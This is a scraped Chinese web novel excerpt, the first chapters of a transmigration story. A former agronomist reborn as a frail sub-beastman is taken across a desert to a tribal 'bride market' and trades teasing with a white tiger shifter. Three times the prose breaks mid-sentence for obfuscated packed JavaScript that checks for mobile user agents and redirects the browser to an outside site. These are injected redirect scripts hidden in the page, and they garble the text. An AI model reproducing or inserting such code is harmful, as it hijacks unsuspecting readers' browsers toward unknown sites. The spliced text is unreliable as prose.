《兽世种田撸大猫》
1. “新娘集市”1
“都给我听好了,一人就一口水,如果让我发现谁多喝了,下次喝水就没有他的份儿了!”
“这沙漠里,不想渴死,就给我老实听话。”
拿着水囊的中年男性亚兽人遥气势汹汹,锋芒凌厉的眼神在眼前十几个刚刚成年的亚兽人身上扫了一遍,确定这些亚兽人都低眉顺眼、规规矩矩的,没有什么小心思,才满意地把水囊递给距离自己最近的一个女性亚兽人红果手里。
他看着红果偷偷缓气多喝了一口,并没有多说什么。红果是今年这批刚成年的亚兽人里最让他看中的,胯骨宽,屁股大,一看就是好生养的,脸蛋还漂亮,煮熟的嘎嘎蛋似的,又白又嫩,特别招部落里的兽人喜欢。
他们兔部落的亚兽人虽然比其他部落的亚兽人更容易生养,但男性亚兽人的生育能力还是比不上女性亚兽人,部落一般不会让女性亚兽人外嫁,红果本该配给他们部落最强壮的年轻兽人。
但今年,实在是年景不好,雪季又长又冷,春天来的晚,倒春寒,冻死了大片麦籽苗,麦籽收成跟不上。冬天的时候,部落里又冻裂了两口陶锅。
他们没有足够的麦籽与盐咸部落换盐,再与有陶部落换锅,这才不得不把红果编到这次换盐相亲的队伍里,希望盐咸部落或者有陶部落能相中红果,给个不错的回礼。
遥叹了口气,“等到了盐咸部落,若是被哪个富饶的部落相中了,你们往后也算有了倚靠,去了富饶部落,就不用再过以前集体山洞里的苦日子了。”
他们兔部落的兽人战斗力不强,经常几天猎不到像样的猎物,狩猎队的人还好,集体山洞里的老弱病残却是一年也吃不到几次荤腥,只能靠野果野菜和麦籽度日。相比其他部落,日子确实难熬。
遥语重心长地嘱咐着,目光却一直盯着在十几个待嫁亚兽人中间传递的水囊。
眼见着水囊传到了最末的风浅手里,水囊里的水已经不多了,想到今天还不一定能找到补给的水源,遥微微眯了眼,一把抢过风浅手里的水囊,训斥道,“喝点儿就得了,嘴还长水囊上了。”
风浅眨巴眨巴眼,瞪圆了一双凤眼,一脸无辜地看着中年男性亚兽人,说好了一人一口水,这水才到舌尖,还未流进喉咙呢,就不让喝了?
他算是知道原主为什么会渴死了。别人的一口水,到他这就成了半口水,大沙漠里,没水喝,还得赶路,不渴死才怪!
末世前,风浅是蓝星上某个top1农学院的高材生,别人研究怎么种好大豆,如何预防大豆被菟丝子寄生,他也研究如何种好大豆,研究如何种出更适合被菟丝子寄生的大豆。
末世降临,觉醒的异能与当事人所处的环境有关。当时,他正在试验田里观察记录他的研究对象——兔宝贝,他跑断腿、说干嘴才得以申请保留下来的,他们学院试验田里唯一一丛菟丝子。
托了兔宝贝的福,他觉醒了植物异能,并且觉醒了本命灵植——菟丝子。
植物系异能战斗力比较渣,大多是做辅助,一般都是在基地后勤种地!他能成为九级异能大佬,完全是种地种的好。top1农学院,论种地,他是最专业的!
和觉醒了大豆为本命灵植的室友相比,菟丝子至少会缠,他的异能进入高阶之后,兔宝贝还学会了吸血,战斗力陡然长了一大截,他也被破例编入基地武装小队。
不久,僵尸潮爆发。
基地内上下团结一心,僵尸群节节败退,所有人都以为胜利在望,基地武装小队主力乘胜追击,追着老僵尸王出了城,此时,一直在败退的僵尸群突然冲出一只新僵尸王。
最后,不得不由他和另外两个九级异能者同时能量核自爆,与新僵尸王同归于尽。
风浅以为是天道觉得他舍己为人,无私奉献,所以才给了他一次穿越重生的机会,让他死后穿越到这片原始大陆。可都穿越到兽人大陆了,为什么又让他穿成了没有兽形、依附兽人生存的亚兽人?是体贴到顾及到了他的性取向以及型号?
风浅无奈地想扶额,他现在这具身体的原主,因为屁股小、不好生养,处处被人排挤,喝个水都要被人斥责两句。
屁股小,不好生养,这都什么事啊。
不只这些,上辈子因为性向问题躲过彩礼,这辈子刚穿过来,就在被部落拉出去换“彩礼”的路上!
他们这一队十几个亚兽人,包括原主和红果在内,都是因为各种原因,没有双亲或者被双亲弃养,由部落抚养,在集体山洞长大的。
部落的集体山洞相当于蓝星的孤儿院+养老院+伤残救助中心。
但集体山洞长大的亚兽人没有婚配自由。成年后,先由部落挑选,选出身体好,容易生养的,婚配给部落内有需要的成年兽人,部落内兽人挑剩下的则跟着换盐队来到盐咸部落的集市。
集市上,其他部落若是相中他们之中的哪个亚兽人,想要领走,就要给他们部落一些回礼,作为部落将他们养大的感谢。这回礼一般都是盐,但像红果这样特别得人看重的,也有可能是陶器。
说是相亲,部落之间的友好交流,但本质上,这不明晃晃的兽人大陆版“新娘集市”吗!
被“交易”的亚兽人根本没有选择权!没有文明和道德的约束,原始人玩的更花!
兽人大陆亚兽人数量不足兽人的三分之一,像兔部落、鼠部落这样战斗力弱、繁殖力强的部落亚兽人数量还多一些,很多战斗力强、兽形强大的部落,亚兽人数量更少,甚至不足兽人的四分之一、五分之一。
兽人、亚兽人的数量比例严重失调,这也造成了兽人大陆的婚姻形式相当复杂、多样、辣眼。甚至可以说这里根本不存在什么婚姻模式,一切都是为了生蛋和繁衍。
而且,兽人大陆不分兽形种族,都是卵生,不分男女,都是亚兽人生蛋。下蛋抱窝什么的,这界的造物主也太奇葩重口了。
虽然这里终于可以光明正大的搞男男关系了,但……
作为一个弯的比蚊香还彻底,但洁身自好的0,他时刻谨记着科普医生们的警告,乱搞男男关系,晚年可是要被护工扇耳光的!
为了晚年的幸福生活着想,他得找个机会逃。
遥从风浅手里抢走了水囊,换盐队经过短暂的停歇,喝了水后并不停留,继续赶路。正午的时候沙漠里炙热逼人,他们需要在温度升起来之前赶到下一个落脚点。
盐咸部落位于沙漠中心的大型绿洲。他们兔部落位于沙漠北部,进了沙漠后一直往南走,通常要走三到四天。兔部落常年从盐咸部落的集市换盐换物资,每年都要来个一两趟,换盐队对这条路相当熟悉。
这也是风浅暂时没有逃走的原因。
初来乍到,又是沙漠这种动不动就把人烘成肉干儿,活埋的地方,他想先到了绿洲,弄点儿物资在身上再行动。
而且,他的异能没了。
穿过来之后异能全失,没法催生植物,连兔宝贝也召唤不出来,原本属于能量核的位置被原主一片混沌的记忆取代。除了还留着对植物异于常人的感知,身体机能几乎退化到末世前普通人的样子。
可能连普通人都不如。
他昨天半夜穿过来的,原主经过长途跋涉,半夜里,生生被渴死,身体相当虚弱。
原主是兔部落前任祭司的老来子,养到三四岁的时候发现智力不太正常,又呆又傻,这才被扔到了集体山洞。他猜着,该是生原主的时候,前任祭司年纪太大,那啥的质量不行,才造成原主智力不正常。
集体山洞的日子可不好过,饥一顿饱一顿,困难的时候吃树皮草根,喝凉水充饥,原主又是个小傻子,分到的吃食
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040074|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没少被人抢,瘦的皮包骨头,严重营养不良。他甚至怀疑,自己的异能没了,是不是就是因为原主这具身体太弱了,承受不住。
如果是就好了,或许还能把异能养回来。兔宝贝是他看着长大的,末世里又陪了自己那么多年,他实在舍不得。
而且,兽人大陆虽然不像末世那样僵尸横行,病毒肆虐,但这里原始蛮荒的生存环境,随时随地都可能有潜伏的野兽,对一个没有兽形,手无缚鸡之力的亚兽人来说并不比末世轻松多少。有异能或者兔宝贝,至少能让他多几分底气。
比没有异能更糟糕的是,他现在连条内裤都没有!
上身和下身都只围了一条干草编的草裙,脚上是木板树皮绑的草鞋,乱糟糟的头发,整个一原始人。
草裙和草鞋还是因为要进沙漠才特意穿的。
沙漠白天炙热烤人,夜里温度又可以降到冰点,为了保温防晒,身上、脚上不得不包裹、遮盖严实。若是在部落里,很多人都只围下身一条草裙,仅遮盖住关键部位,赤身光脚裸奔的。
风浅默默叹口气,连条内裤都没有,真是一穷二白了。
沙漠里落日余晖,瑰丽壮阔,荡气回肠。
兔族兽人兽形小,此时要搬运换盐的麦籽和物资,便都化成了人形。和他们结伴走的还有相邻部落的鼠族,也用的人形。两个部落,一共六、七十人的队伍,从沙丘脚下一直蜿蜒到山顶,漫天沙海中宛如一条细长流动的飘带。
放眼一望,隐约间仿佛能听到驼铃,这画面和末世前随便一幅沙漠旅行图也没什么区别了。
在末世摸爬滚打了五、六年,没想到还能再见这样安静祥和的景色,风浅的心情顿时舒畅不少,全身都散着一股慵懒自得的劲儿,一闭眼,似乎还在大学的校园里。
然而,这种平静只是一时。
随着一声急促紧急的号角,山丘顶端的前头队伍忽然乱了队形。
毫无预兆,一头浑身长着刺甲,四、五米长的沙兽突然从沙丘另一侧冲了出来。沙兽行动间有些像末世前蓝星上的巨蜥。但体型更大,狰狞可怖。
队伍里有人惊叫,风浅手腕一翻,本能地催动异能,却丝毫没有反应。
风浅愣了下才落寞地想起这里是兽人大陆,他死过,穿越了,异能没了,兔宝贝也不在。
变成了一个普通人。
就在此时,十几个训练有素的兔族兽人,几乎同时扔下肩上的物资,操起骨刀、长矛迎了上去。他们是部落里最骁勇的战士,有多次外出换盐的经历,并不是第一次遇上沙兽。
兔族兽形弱小,战斗力几乎为零,狩猎的时候多采用人形,借助工具,十几、二十几人配合。效率不如其他部落,但一样可以拿下沙兽。
队伍后面的鼠族兽人也很快冲了上去。鼠族的战斗方式和兔族相似,两族人常常一起换盐,配合默契。
有了鼠族的加入,战况扭转,从沙兽的突袭变成了兽人们对沙兽的围殴。半小时后,两族的兽人将死透了的沙兽剥皮剔骨。
没有受伤的兽人负责扒皮、分肉,抢了风浅水囊的中年亚兽人遥帮几个受了伤的兽人抹药处理伤口。
遥在部落里的地位仅次于族长和祭司,负责管理集体山洞,帮部落里的亚兽人接生,传授亚兽人孵蛋、照顾幼崽的技巧。也是部落里唯一一个经常跟着换盐队出来的亚兽人。
对于集体山洞里的未成年亚兽人,遥就相当于一位严厉的班主任,对红果这样的优等生自然偏爱,对风浅这种又笨又傻,还不好生养的差生看不惯,多了几分刻薄。
处理好沙兽的皮肉,再次出发,临近晌午,换盐队终于赶在高温热浪前进入一处戈壁,这是他们每次来换盐必经的落脚点。
胡杨林,沙棘,还有一棵被称为“泉”的巨树。
2. “新娘集市”2
被称作“泉”的巨树犹如一个巨大的酒瓶,坐落在荒漠戈壁。
听名字便知道,这棵巨树与水有关,是让这片戈壁成为换盐队落脚点的主要原因。
一进戈壁,六、七十人的队伍全围在巨树四周。
兽人搭帐篷,亚兽人捡柴生火,准备煮汤。他们今天一早天未亮就开始赶路,到现在晌午,需要在这里停歇修整,稍微补一觉,至半下午,沙漠上温度降下来之后才会出发。
原主是个傻的,部落里着急干活儿的时候也没人支使他。有支使他、给他讲明白怎么干的时间,事情都做完了。
周围热火朝天的忙活儿,风浅怕被人察觉出异样,便继续照着原主以前的样子,呆呆地站在一边,顺便观察着周围人的行为举止。
他现在急需要了解这个世界,虽然有原主的记忆,但原主的记忆大多浑浑噩噩,而且,原主也是第一次跟着换盐队来沙漠,对于大沙漠,对于兔部落以外的世界,知道的并不比他多。
风浅看着遥指挥几个兽人和亚兽人扛着部落里的水囊往巨树旁边去。
拿着空水囊,那就是取水了。他以前只听说过沙漠里有树干里存水的事,倒是第一次亲眼瞧见。风浅跟了上去。
遥回头看了他一眼,风浅学着原主以前的样子,一脸懵懂地歪歪头,遥皱了皱眉,便不管他了。
风浅傻乎乎地笑着跟上去。
一靠近巨树,异能残留下来的异于常人的植物感知力便起了作用。这有两层楼高的巨树,树根深深扎进地下河,因此才让巨树在几乎所有植物的叶片都进化成针、刺的沙漠里独树一帜,长出手掌样的宽厚叶片。
而树干里从地下河抽上来的一肚子水,也成了沙漠旅客的生命之泉。
遥让一个健壮的兽人提着木桶爬至巨树一半高的位置。那处基本是泉树水位线最高的位置,树干上有一处切割成方形的树皮,天窗似的,刚好可以将木桶放进树干里。木桶上拴着藤条皮拧成的粗绳,方便提水。
兽人从树干内提水,再将木桶降到地面,树下等着的亚兽人将桶里的水灌进水囊。
第一桶水下来,树下的几个亚兽人轮流喝了个饱。瞥见一旁傻站着的风浅,遥拧着眉,训斥道,“还傻站着干什么,现在有水不赶紧喝,难道要等着下午路上喝水囊里的吗?”
遥恨铁不成钢地点了点风浅的额头,“你说你……嗐……”话到一半又止住了。他看不上风浅,但也不至于盼着风浅不好。风浅这样傻乎乎的,去了别的部落,日后怕是连自己肚子里的蛋是谁的都分不清。
单论脸蛋,风浅比红果长的还好,他活了半辈子,都没见过一个比风浅长的好的。有这张脸蛋,只是不好生养还没什么,总会有兽人愿意养着。
但关键是风浅脑子不灵光。
已经不好生养了,若是好不容易生的幼崽也像风浅一样傻乎乎的怎么办?只这一点,便很难有兽人愿意要风浅了。他怕风浅会是相亲集市上头一个被人剩下、没人要的亚兽人。
送不出去,难道部落里要一直养着这么个吃闲饭的吗?
树下的亚兽人装满了水囊,便有几个兽人过来把水囊扛走,陆陆续续又有过来喝水的人。
风浅喝够了水,迫不及待地跟着几个亚兽人回了帐篷前的石锅旁。
上午猎到了沙兽,刺甲和皮归部落所有,另外每个兽人分到了四、五斤的肉。兔族兽人的兽形小,但食量并不小,这些肉也就够兽人一顿吃的,都不用敞开吃,饭量大一点儿的,甚至吃不饱。
石锅的数量有限,兽人吃肉一般是直接架在火上烤着吃。亚兽人这边分到了骨头,便用晒干的野菜炖了骨头汤。
换盐队里的亚兽人不多,风浅也分到了一块骨头。
末世五、六年基本都在吃素,只偶尔能分到一两口陈年罐头肉解解馋,现在,哪怕这骨头汤没用什么调料,还泛着一股子腥味儿,风浅也吃的津津有味。这可是新鲜的骨头肉啊。
他想念他们农学院的食堂了。白米饭,红烧肉,他们学院种的米,隔壁动物学院养的猪,也不知道以后还能不能吃上了。
-
换盐队终于在第二日晌午前赶到了位于沙漠绿洲的盐咸部落。
一进绿洲,凉气扑面而来,炙热烤人的热浪骤然消失,变得舒爽潮湿。
盐咸部落每年一春一秋两次大型集市,期间,前前后后会有二十几到三十几个部落前来。
他们兔部落主要是为了换盐,来的不算早。一些想要从别的部落娶亚兽人的部族会到的早些,他们是过来“抢人”的。这些部族眼里,兔部落、鼠部落这种带着亚兽人来的部落甚至比盐咸部落和有陶部落更受欢迎。
毕竟,盐可以少吃点儿,陶器也可以不用,但亚兽人不能没有。有亚兽人才会有幼崽,有幼崽部落才会兴盛。而兔部落和鼠部落的亚兽人,哪怕是男性亚兽人,也是出了名的好生养,容易生幼崽。
兔部落和鼠部落的到来让这次集市正式进入高潮。
盐咸部落的族长和祭司亲自出来迎接。
集市设在盐咸部落一处大型广场上。这片广场据说是盐咸部落平时制作盐砖的地方。为了迎接前来换盐的各个部落,盐咸部落临时在广场上搭了不少茅草屋给各个部落歇脚。乍一看,像条繁华的商业街,人来人往,但是是动物园版的。
兽人遇到危险或者受到惊吓,会下意识的化成兽形。盐咸部落对前来换盐的兽人来说算是陌生环境,因此大部分外来换盐的兽人都维持着方便战斗的兽形,这让他们更有安全感。只有兔族、鼠族这样兽形比人形弱小的部族维持着人形。
街上,狮子、老虎、雪狼、赤狐,甚至还有犀牛、大象,这些都是兽人的兽形。
突然被这么多陌生的兽人盯着,换盐队里的其他亚兽人都有些羞赧。只有还未完全适应亚兽人身份的风浅,双眼放光,好像进了动物园,斯哈斯哈地想要撸毛茸茸。那眼神,比盯着亚兽人看的兽人还要炽热。
草食的毛茸茸是他的克星,但肉食的毛茸茸他喜欢啊。
末世那几年,几乎所有的动物都中了僵尸毒,变异成没眼看的样子,人们只能看着电子产品上的影像记录怀念。一朝穿越,没想到还能实现毛茸茸自由!
盐咸部落的族长和祭司分别领着兔部落和鼠部落去了为他们准备的茅草屋。
东西还未放下,便涌来很多其他部落的人凑热闹。
兔部落主要的交换物资就是麦籽,但冲着麦籽来的人并不多,主要都是为了换盐队里的亚兽人。
负责待嫁亚兽人的遥,此时比换盐小队的队长还要忙,一遍一遍地向来打听消息的部
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040075|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落介绍各个待嫁亚兽人的情况、名字、性格,还有回礼是几块盐砖。
原始版的相亲大会,原始版的“新娘集市”。
风浅可不想凑这个热闹,尽量减小自己的存在感,躲在角落吃肉干。
肉干是盐咸部落送的,只有亚兽人有,另外还送来一堆仙人掌果,是给部落里包括兽人、亚兽人在内的所有人的。他是植物系异能,末世里也不缺蔬菜水果,他现在只想吃肉,新鲜的肉。
“这个……”遥有些为难,有人看到了角落里的风浅,打听起风浅的事。风浅脑子有问题,怕影响到其他亚兽人的回礼,他今天没打算给人介绍风浅的,但有人问,也不能一直瞒着,遥顿了下,还是叫了风浅过来。
风浅叼着吃到一半的肉干,以为自己听错了,一脸疑惑地朝着遥看了看,刚刚不是还聊着红果吗,这么快就轮到他了?一下就从“学霸”到“学渣”,这跨度是不是有点儿大了。
亚兽人的咬合力远不如兽人,吃到一半的肉干有些硬,咬不断,风浅干脆把整个肉干都塞进嘴里,脸颊塞得满满的。还好他现在是个小傻子,表现的越傻越好,完全不用尴尬的。风浅顿时一脸傻憨憨的笑,朝着遥走过去,嘴里含着东西,含含糊糊地叫道,“遥阿叔,你叫我啊。”
遥恨不得把现在的风浅塞进蛋壳里重新孵一遍。二十岁的亚兽人了,举止还跟个八、九岁的小孩子似的,一看就不正常,这还有谁敢要?
果然,刚刚还盯着风浅问东问西的几个人见了风浅这般举止,都是一脸愣住的表情。
风浅也注意到了,心里一乐,他若是傻的全兽人大陆都知道,那兔族想把他嫁了换彩礼也没人敢要啊。到时不用他跑,兔族都得想办法把他扔了,或者赶出部落,省的还要养他这个不能干活儿,不能生崽儿,不能换盐砖的累赘。
那不就自由了吗。说不准到时候兔部落还得搭点儿什么东西才能哄骗着他,甩了他,半路把他扔了。
打定主意,风浅笑眯眯的,更来劲儿了,一双漂亮的凤眼眯成两弯月牙,双手抓住遥的手腕,左右晃了晃,小孩子撒娇似的央求着,“遥阿叔,遥阿叔,肉干好好吃啊,小风浅还想要。”
他没想到自己夹起来竟然还能这么嗲,顿时掉了一地鸡皮疙瘩,舒爽舒爽。看到周围几个被他惊到嘴里能塞拳头的人,更高兴了。
这下轮到遥尴尬了。风浅是呆傻,但平时都挺安静的,不像有什么大病,所以才敢把他往集市上领,现在这是突然发的哪门子疯。他们兔部落的其他亚兽人还怎么嫁人,怎么要回礼。
“呵哈哈……”遥烦躁地拍掉风浅拉着他的手,冲众人笑了笑,指了指自己的脑袋,一脸抱歉地解释道,“我们风浅啊,论相貌,那是一等一的好,就是吧,有的时候这里有点儿不灵光。”
“平时也不是这样的,都是挺乖挺乖的,今天估计是突然见了这么多人,就有些……回礼这方面……”
风浅赶忙打断遥的话,抓着遥的胳膊晃,“阿叔,阿叔,小风浅要肉干呢。”
风浅越演越来劲,一眼瞥到遥对面中年兽人旁边的大白老虎,两眼放光,好一只俊俏威武的大猫,风浅顿时挪不开眼睛。
忍无可忍,那便不要忍了。
风浅立马松了遥的胳膊,回头抓了肉干,朝着大白老虎冲了上去。
3. “新娘集市”3(捉虫)
这可是一生只能撸一次的猫啊。撸完了就被老虎吞肚子里了,所以没有第二次。
但眼前的大白老虎是兽人的兽形,有理智,不吃人。
风浅放心地抱住大白老虎的脑袋,猛蹭。大老虎跟猫儿似的,身上的毛发香香的,他恨不得变身兔宝贝,长出全身的藤蔓缠在大老虎身上,把自己揉进大白老虎的皮毛里。
也不管怀里的大老虎全身僵硬的像块石头,反正不吃人,毛还是软的,蹭到就是赚到。末世前要想看老虎可是要买门票的,还只能看,不能上手撸。隔壁动物学院要给老虎看病都要苟到研究生学历呢。
风浅抱着大白老虎的脖子舍不得松手,看着老虎头顶圆圆的毛耳朵就手痒,殷勤地献上肉干,抵在大猫嘴边,夹着声音,继续装疯卖傻。
“咪咪吃啊。肉干很好吃的。”
“咪咪不喜欢肉干吗?”
见大白老虎僵硬着没反应,风浅仗着白老虎是人不是兽,光天化日之下不能把他怎样,于是,得寸进尺,“色从胆边生”。
余光紧盯着大白老虎画了唇线一样漂亮但能把人撕了的嘴,还有藏着锋利爪尖儿,一巴掌就能把车门砸个坑的健壮前爪,风浅搂着大白老虎脖子的手不知死活地悄悄伸向大白老虎的圆耳朵,嘴上继续哄着,“那抓老鼠……”
话到一半,风浅突然定住,铺天盖地,大难临头的危机感让他骤然变了神色,汗毛耸立,不受控制地打了个寒颤。好像被什么庞然猛兽盯住,凉气自炙热的脚底升起,生生被钉在地上,一动不得动。这种威压不亚于逼他自爆的僵尸王。
原本吵闹熙攘的集市不知何时起变得悄无声音,风浅梗着脖子,艰难地看向这股威压的源头——
近在迟尺的白老虎,一双琥珀色的兽眸阴沉锐利,越来越冷,死死盯着他,好像在看一个死物蝼蚁。
令人窒息的恐惧,心跳停止,血液倒流,风浅甚至没法控制自己的手脚逃开。
“风浅,回来!不要胡闹!”遥的话打破这场死寂。
遥愤怒地一把把风浅拽了回来。一个亚兽人对着一个陌生兽人又蹭又抱,这算什么事。求偶都没这样的,这是在求□□!如此放荡的行径,让他们兔族的亚兽人以后还怎么嫁人!
何况,这兽形白虎的兽人他有所耳闻,是黎山部落的“煞星”“灾星”,还未成年的时候就曾一爪子拍碎一个流浪兽人的头颅。也就风浅这么个什么都不知道的傻子才敢靠近。
人群里有对风浅,甚至对兔族亚兽人指指点点的。
风浅后知后觉,他似乎做了什么有损亚兽人声誉的事。
遥皱皱眉,抓着风浅的左手手腕举起来给众人看,“我们兔族此次带来的亚兽人都涂有守宫砂,请各位放心。风浅脑子不好使,并不清楚自己的行为代表什么意思,兔族其他的亚兽人都是规矩清白的。”
涂抹守宫砂的染料是祭司特意调配的,各个部落都有。
部落内的兽人和亚兽人成婚,你情我愿,互相知道底细,一般不需要涂守宫砂,只有各个部落之间联姻的时候,出嫁的亚兽人才会在左手手腕内侧涂抹。结契之后,受了雨露,亚兽人手腕内侧艳红的守宫砂自然消失。而曾经受过雨露的亚兽人涂抹再多的染料也不会出现守宫砂。
以前曾经出现过,某个部落从集市上娶回的亚兽人肚子里怀着其他部落的幼崽,没有哪个部落愿意给别的部落养崽儿。之后,部落之间便以守宫砂证明出嫁的亚兽人是清白的。
风浅抗拒的把手抽回来,遥这话太有歧义了,什么叫其他的亚兽人都是规矩清白的,说的好像他不规矩不清白似的,他不就是装疯卖傻地抱着大老虎蹭了蹭吗,虽然这老虎是兽人的兽形……但他现在可是个傻子啊,不疯癫能叫傻子吗。
风浅不甘心地偷偷瞄了眼刚刚发威唬人的大白老虎,正对上大白老虎淬着毒一样的冰冷视线,风浅没由的打了个颤儿,连忙移开视线。色字头上一把刀,他撸个毛茸茸差点儿被开膛破肚,不愧是一生只能撸一次的猫,他怕了还不行吗。
这事也不能全怪他。别的兽人为了方便和遥交流,这会儿都化成了人形,只有这大老虎还是兽形,他不去撸毛茸茸的大老虎,难道要扑到一个人形的兽人身上吗。
遥又拉了两个兔族亚兽人到前面给众人展示亚兽人手腕内侧的守宫砂,顺便把惹事的风浅推回茅草屋里,冲屋内另外两个亚兽人交代,“把他给我看住了!”
这一场闹剧才算结束。
兔部落这次带来一个漂亮的傻子亚兽人的消息迅速在集市上传开了。而且,这傻子亚兽人行为浪荡,竟然当众对黎山部落的煞星求□□!
因为数量少,整个兽人大陆亚兽人都是相当珍贵的。遥又让众人看了守宫砂澄清,风浅这点小插曲并未影响到其他部落对兔部落亚兽人的热忱。
盐咸部落和有陶部落分别来了位部落里和遥地位相当的亚兽人,他们都看中了红果。
女性亚兽人比男性亚兽人好生养,各部落的女性亚兽人都是先紧着本部落的成年兽人婚配。因此,相亲集市上很少出现女性亚兽人。
红果更是兔部落带来的唯一一位女性亚兽人。
不知道是不是和自然界兔子能生、繁殖快有关,兔部落亚兽人的生育能力在整个兽人大陆都是被认可的,最多也只有隔壁的鼠族可以比一比。
换盐队出发前,遥和族长、祭司已经商量过了,红果的目标部落是有陶部落,回礼是两个陶锅。
陶锅是大物件,有陶部落一年也烧不出几个,一听遥说的回礼,有陶部落来的亚兽人有些犯难,但又舍不得错过红果,琢磨了会儿,对遥说,“这样,我们部落出两个陶锅,两个陶罐,两对陶碗,这些作为回礼,娶你们部落四个亚兽人。除了红果之外,再让我挑三个。”
遥眼睛一亮,当即同意。族里的亚兽人送到哪个部落不是送,有陶部落愿意多换给他们一些陶器是再好不过的。
有陶部落的亚兽人又挑了三个兔族的亚兽人进茅草屋,遥把茅草屋里的兽人都清了出去。
茅草屋里,遥陪着有陶部落的中年亚兽人围着红果在内的四个待嫁亚兽人打量、检查。遥再三保证,这几个亚兽人好生养,身体健康,绝对没有疾病,更没受过伤,手脚麻利,干活采集都是把好手。
角落里的风浅看着这种类似于“婚检”的行为,皱了皱眉。再看有陶部落的中年亚兽人让红果几个张嘴,挨个检查牙齿的时候,风浅的眉头拧得更深了,他不想经历这种,只有买卖牲口和奴隶才会检查牙齿的磨损!
可兽人大陆这时并没有出现奴隶制,虽然婚姻制度比较混乱,但正常的兽人和亚兽人都有选择配偶的权利。只是在集体山洞长大的亚兽人因为是部落养大的,所以才没有婚配自由,要听从部落的安排。而嫁到外部落的亚兽人可能会被排挤,需要一段时间才能融入到新的部落。
有陶部落挑走四个亚兽人,兔部落给每个出嫁的亚兽人一袋子麦籽带去有陶部落,也不算他们空着两手加入新部落了。这算是兽人大陆版的“陪嫁”?
红果几个人被有陶部落挑走了,兔部落还剩下包括风浅在内一共九个亚兽人。
盐咸部落负责过来交涉的是位女性亚兽人,年龄稍大,头发花白,佝偻着背,老太太笑着问遥,“这回可轮到我了吧。”
“自然,自然。”遥恭敬地应道。有陶部落和盐咸部落是这片大陆上最富饶的部落,他们兔族每年领到集市上的亚兽人大半都送进了这两个部落。
“好的都让有陶部落挑去了,这回礼可得给我省点儿。”老太太调侃道。
遥陪笑道,“都是好的,除了那个脑子有些笨的,都是好的。”
老太太望着风浅,一脸遗憾,“可惜这小脸蛋了,不过,看着也不像个好生养的。”
遥见缝插针,生怕送不出去风浅,“您若是看中风浅啊,回礼给两块盐砖就行了。我们其他的亚兽人都是十块盐砖的。”
风浅原定的回礼是四块盐砖,但被他刚刚闹了那一场,两块都不一定有人要了。
老太太一皱眉,“十块?怎么还比去年多了?不行,和去年一样,最多八块。你这都是被有陶部落挑剩下的了,老太太我可不吃这种亏。”
兔部落指望着和盐咸部落换盐,并不敢太得罪盐咸部落。遥和盐咸部落的老太太一边挑人,一边砍价,最后还是定了每人八块盐砖,也挑了四人。兔部落同样每人回了一袋卖籽当作“陪嫁”。
从到盐咸部落开始,不到半个下午,就送走八个亚兽人,包括风浅在内,兔部落还剩五个亚兽人,少了一多半的人,但等在茅草屋外,等着相看亚兽人的部落并没有少多少。
送走有陶部落和盐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040076|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咸部落,换了陶器和盐,遥也算有些底气了,笑着去茅草屋外和其他部落的人周旋。
部落里剩余的几个亚兽人也都被遥拉了出去,大部分兽人去逛集市了,只剩了几个人在看卖麦籽的摊位。
遥恨不得把风浅塞回蛋壳里,暂时没他什么事了,风浅决定尿遁,即使不直接逃走,也至少去盐咸部落周围踩踩点儿,探探路。
开展集市的广场,西边是盐矿,周围有兽人看守,不准外来换盐的部落进。东边是绿洲森林,集市期间允许外来部落进森林采集狩猎。
风浅打算去绿洲森林看看,熟悉熟悉异世大陆的植被,最好是能猎点儿东西,自己私下换点儿盐。
森林外围是成片的仙人掌、仙人棒,高的有十几米,直插云霄,盐咸部落的幼崽穿梭在其中,嬉戏打闹。盐咸部落兽人的兽形大多是沙漠动物,耳廓狐、荒漠猫,大耳朵,圆眼睛,毛茸茸,各个萌死人不偿命。
幼崽是部落的希望,各个部落对幼崽都是相当重视。幼崽玩耍的仙人掌林外不远处就有一队兽人、亚兽人负责看护。
“唉?傻子亚兽人!”
“他是不是下午兔部落带来的那个傻子亚兽人?”
“我阿姆说坚决不能娶傻子亚兽人,以后会生出小傻子的。”几个幼崽盯着风浅,光明正大地窃窃私语。
“嘘,你这么大声,他会听到的。”一个幼崽跳出来提醒同伴。
风浅遗憾地咋了下舌,果然是熊孩子,真真的童言无忌,小嘴一张,一点儿都不可爱了。
原始人也太无聊了,半个下午不到,他这傻子的名头竟然传的这么快。
不再盯着这群幼崽,风浅挑了条人迹稀少的小路,径自朝森林深处去。
绿洲森林里多是温带、亚热带植物,植物种类与蓝星上的不完全相同,有他认识的,也有他不认识的,好在他一靠近植物就能知道这种植物有没有毒,能不能吃。
